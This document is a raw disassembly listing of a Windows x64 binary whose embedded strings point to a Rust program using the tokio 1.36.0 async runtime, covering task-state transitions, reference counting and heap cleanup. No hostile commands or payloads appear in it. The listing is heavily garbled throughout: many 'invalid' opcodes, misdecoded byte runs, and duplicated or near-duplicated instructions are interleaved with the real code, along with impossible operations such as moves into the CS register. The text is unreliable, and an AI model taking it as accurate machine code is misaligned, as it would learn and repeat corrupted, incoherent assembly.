or rax, 0xbba00
add byte [rax], al
call fcn.140104a60
mov ecx, 8
mov edx, 0x38
add byte [rax], al
add al, ch
invalid
invalid
or dword [rax], eax
int3
add byte [rax], al
add al, ch
sar byte [rbp - 0x3333fff7], 1
int3
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140068625
test al, 4
je 0x140068876
test al, 3
je 0x1400685e0
cmp rax, 0x3f
jbe 0x14006888e
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
cmpxchg dword [rsi], ecx
jne 0x1400685fa
movzx eax, dl
lea rcx, [0x14017464c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rsi
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
cmp byte [rsi + 0xa0], 3
jae 0x1400688a6
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400686d9
xorps xmm6, xmm6
test eax, eax
jne 0x140068705
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov rbx, rcx
mov rcx, rax
call fcn.1400d3ad0
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0xc0]
call fcn.1400684e0
mov ecx, dword [0x14017d2b4]
adc dword [rax], eax
xchg esp, eax
and al, 0xc0
add byte [rax], al
add al, ch
invalid
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
retf 0xb60f
mov dword [rax], esp
add dword [rax], eax
add byte [rax], al
retf 0xb60f
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x140068766
invalid
xor eax, 0x4b75c985
test ecx, ecx
jne 0x140068780
mov ecx, dword [0x14017d2b4]
adc qword [r8], rax
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rdx + rcx*8]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7bf6a
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
mov byte [rdi + 0x120], 1
mov ecx, dword [0x14017d2b4]
or eax, 0x114b48
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
invalid
add byte [rax - 0x73], cl
jle 0x1400687a4
lea rdi, [rsi + 0x20]
test al, al
je 0x14006881e
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x14017465c]
or eax, 0x10bebe
or eax, 0x10bebe
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7d], r9b
add rcx, 0x10
add ecx, 0x10
rcl dword [rax], 0x48
mov edx, esi
adc byte [rax - 0x77], cl
mov r8b, 1
mov rdx, rsi
mov r8b, 1
call fcn.1400eca20
or byte [rax], al
or byte [rax], al
mov rax, 0xffffffffffffffc0
sar bh, 0xff
push rax
lock xadd qword [rsi], rax
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
cmp rax, 0x3f
jbe 0x1400688de
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140068636.2
mov rcx, rsi
call fcn.140068bf0
jmp case.0x140068636.2
lea rdi, [rsi + 0x20]
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140069840
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x140068844
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
movabs al, byte [0x24548d4804000000]
xor byte [rax - 0x77], cl
stc
call fcn.140069840
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], 0
mov byte [rsp + 0xa0], 3
lea rdx, [rsp + 0x30]
add byte [rax], al
add ecx, dword [rax - 0x73]
push rsp
and al, 0x30
mov rcx, rdi
call fcn.140069840
mov rcx, rsi
call fcn.140068cc0
movaps xmm6, xmmword [rsp + 0xd0]
add rsp, 0xe8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
and al, 0x58
mov qword [rsp + 0x60], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x68], rax
imul edx, dword [rax], 0x44894800
and al, 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140104620
int3
nop dword cs:[rax + rax]
add r14, 0x10
dec r15
je 0x140068ebc
mov rax, qword [r14 - 8]
lock dec qword [rax]
dec qword [rax]
je 0x140068ea0
mov rax, qword [r14]
lock dec qword [rax]
jne 0x140068e80
jmp 0x140068eb2
lea rcx, [r14 - 8]
call fcn.1400e4970
mov rax, qword [r14]
lock dec qword [rax]
jne 0x140068e80
mov rcx, r14
call fcn.140004bc0
jmp 0x140068e80
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rdi + 0x70], 0
je 0x140068ee8
mov r8, qword [rdi + 0x68]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rdi + 0xc8], 0
je 0x140068f08
mov r8, qword [rdi + 0xd0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rdi + 0x108]
mov r14, qword [rdi + 0x110]
test r14, r14
je 0x140068f31
xor r15d, r15d
nop
mov rcx, qword [rbx + r15*8]
inc r15
call fcn.140068ff0
cmp r14, r15
jne 0x140068f20
cmp qword [rdi + 0x100], 0
je 0x140068f4d
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x140068f69
lock dec qword [rax]
jne 0x140068f69
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
call fcn.1400049d0
mov rax, qword [rdi + 0x30]
test rax, rax
je 0x140068f85
lock dec qword [rax]
jne 0x140068f85
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
call fcn.1400049d0
lea rcx, [rdi + 0x118]
call fcn.1400e4ba0
mov rax, qword [rdi + 0x1c8]
lock dec qword [rax]
jne 0x140068fad
add rdi, 0x1c8
mov rcx, rdi
call fcn.1400055f0
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x140068fd8
lock dec qword [r8 + 8]
jne 0x140068fd8
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
sub byte [rax - 0x39], cl
and al, 0x30
add dword [rax], eax
add byte [rax], al
lea rax, [0x14016f768]
mov qword [rsp + 0x38], rax
add byte [rax - 0x77], cl
and al, 0x38
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x28]
call fcn.140104620
int3
sub bl, al
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
add al, ch
invalid
mov ch, 9
add ah, cl
add al, ch
invalid
add rcx, 0x10
call fcn.140002df0
cmp rsi, 0xffffffffffffffff
je 0x140069226
lock dec qword [rsi + 8]
jne 0x140069226
mov rcx, qword [0x14017d208]
or eax, 0x113ff3
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140069295
test al, 4
je 0x1400694df
add byte [rax], al
add byte [rax], al
test al, 3
je 0x140069250
cmp rax, 0x3f
jbe 0x1400694f7
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006926a
movzx eax, dl
lea rcx, [0x14017466c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rsi
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
cmp byte [rsi + 0xa0], 3
jae 0x14006950f
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069349
xorps xmm6, xmm6
test eax, eax
jne 0x140069375
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
lea esi, [rbx - 0x76b7fff9]
retf
mov rcx, rax
call fcn.1400d3ad0
mov rcx, rbx
mov byte [r14 + 0x120], 1
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
lea esi, [rbx - 0x76b7fff9]
retf
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc2
add byte [rax - 0x75], cl
add al, 0xc2
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
invalid
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov eax, 0xf8
add byte [rax], al
mov qword [rax + 0xf8], rdi
mov dword [rax + 0xf8], edi
add byte [rax], al
lea rdx, [rsp + 0xc0]
call fcn.1400684e0
dec dword [rbx + 0x113f2c0d]
invalid
rol byte [rax], 0
add al, ch
pop rsi
int1
invalid
dec dword [rbx + 0x113f2c0d]
or eax, 0x113f2c
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x1400693d6
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x1400693f0
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
retf 0x8d48
invalid
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
retf 0x8d48
mov byte [rdi + 0x120], 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
jle 0x140069414
test al, al
ror byte [rdi], 0x84
mov eax, dword [rax]
add byte [rax], al
je 0x140069487
test byte [rbx + 0x48000000], cl
mov ecx, esi
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
invalid
loopne case.0x140091fd1.48
add byte [rdi], cl
mov dh, 0xc0
invalid
ror byte [rax - 0x73], 0xd
lea rcx, [0x14017467c]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
outsb dx, byte [rsi]
mov dl, 0x10
add byte [rax + 0x63], cl
add al, 0x81
invalid
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x77], r9b
and byte [rax - 0x77], cl
mov rdx, rsi
call fcn.1400eb0b0
bnd call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140069547
add byte [rax], al
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140069415.0
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call fcn.140069770
jmp case.0x140069415.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140069840
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
and al, 0x38
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rax
and al, 0x48
jmp 0x1400694ad
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rcx, rdi
call fcn.140069840
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov byte [rsp + 0xa0], 3
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140069840
mov rcx, rsi
call case.0x140048c13.409
movaps xmm6, xmmword [rsp + 0xd0]
add rsp, 0xe8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
mov rcx, rdi
call fcn.140035430
cmp qword [rsp + 0x28], 0
jne 0x140069ded
jmp 0x140069df7
add byte [rax], al
test rax, rax
je 0x140069dda
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
lock dec qword [rdi]
je 0x140069db0
retf
retf
cmp qword [rsp + 0x28], 0
je 0x140069df7
lea rcx, [rsp + 0x28]
call fcn.1400366b0
xor eax, eax
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
cwde
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], esi
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x140069e8a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140069eb5
test al, 4
je 0x14006a4ec
test al, 3
je case.0x140066038.22
cmp rax, 0x3f
jbe 0x14006a504
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140069e8a
movzx eax, dl
lea rcx, [0x14017468c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
cmp byte [rsi + 0xa8], 3
jae 0x14006a51c
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x357401f8], al
add byte [rbx + 0x357401f8], al
xorps xmm6, xmm6
test eax, eax
jne 0x140069f7d
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
lea edx, [0x1400e46c0]
lea edx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf8], rbx
cwde
clc
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x40
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140069cf0
invalid
dec dword [rbx + 0x1133240d]
and al, 0x33
adc dword [rax], eax
invalid
and al, 0x33
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
retf 0xb60f
mov dword [rax], esp
add dword [rax], eax
invalid
retf 0xb60f
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x140069fdf
test ecx, ecx
jne 0x140069ffb
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
xor al, 0xca
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
xor al, 0xca
invalid
invalid
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
invalid
invalid
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
invalid
invalid
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14006a20b
test byte [rax], cl
add al, byte [rax]
invalid
ror byte [rdi], 0x84
or byte [rdx], al
add byte [rax], al
test byte [rax], cl
add al, byte [rax]
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x14017469c]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400eca20
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x14006a554
invalid
invalid
add byte [rax - 0x7d], cl
loopne 0x14006a00b
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
jne case.0x14006a01c.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
dec dword [rax]
jne 0x14006a067
call fcn.140068e50
mov rcx, rdi
jmp 0x14006a083
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006a07f
lea rcx, [rsi + 0x20]
call fcn.140068e50
lea rcx, [rsi + 0x30]
call fcn.14006ab50
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006a09e
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor dword [rcx], edx
add byte [rcx], dh
sar bh, cl
adc eax, 0xa534f
jmp case.0x14006a01c.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006a10d
xorps xmm6, xmm6
test eax, eax
jne 0x14006a139
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006ab50
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006a1a0
test eax, eax
jne 0x14006a3c9
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006ab50
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
jmp 0x14006a33b
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006a24c
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006a278
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006ab50
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x357401f8], al
add byte [rbx + 0x357401f8], al
test eax, eax
jne 0x14006a414
add byte [rax], al
add byte [rax], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
ror dword [rax - 0x73], 0x8b
rol byte [rax], 1
add byte [rax], al
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
cld
xchg edi, eax
invalid
invalid
cld
xchg edi, eax
invalid
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006ab50
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 0
mov dword [rdi + 0x10], 0
mov dword [rdi + 0x10], 0
mov byte [rsi + 0xa8], 3
mov eax, dword [0x14017d2b4]
insb byte [rdi], dx
invalid
adc dword [rax], eax
mov rcx, qword gs:[0x58]
and eax, 0x58
insb byte [rdi], dx
invalid
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14006a392
test eax, eax
jne 0x14006a3ac
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
invalid
mov eax, dword [0x14017d2b4]
sbb al, 0x2f
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf0
add byte [rax], al
invalid
ror dword [rdi], 0x11
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.14006ac70
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006a1be
xorps xmm6, xmm6
test eax, eax
jne 0x14006a1ea
invalid
invalid
invalid
mov eax, dword [0x14017d2b4]
int 0x2e
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x14006a1be
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006a2f9
xorps xmm6, xmm6
test eax, eax
jne 0x14006a325
mov eax, dword [0x14017d2b4]
adc dword cs:[rax], eax
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov ss, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7a273
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x14006a2f9
xchg esi, eax
invalid
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006a4bb
xorps xmm6, xmm6
test eax, eax
jne 0x14006a13d
invalid
invalid
invalid
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
jmp 0x14006a13d
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
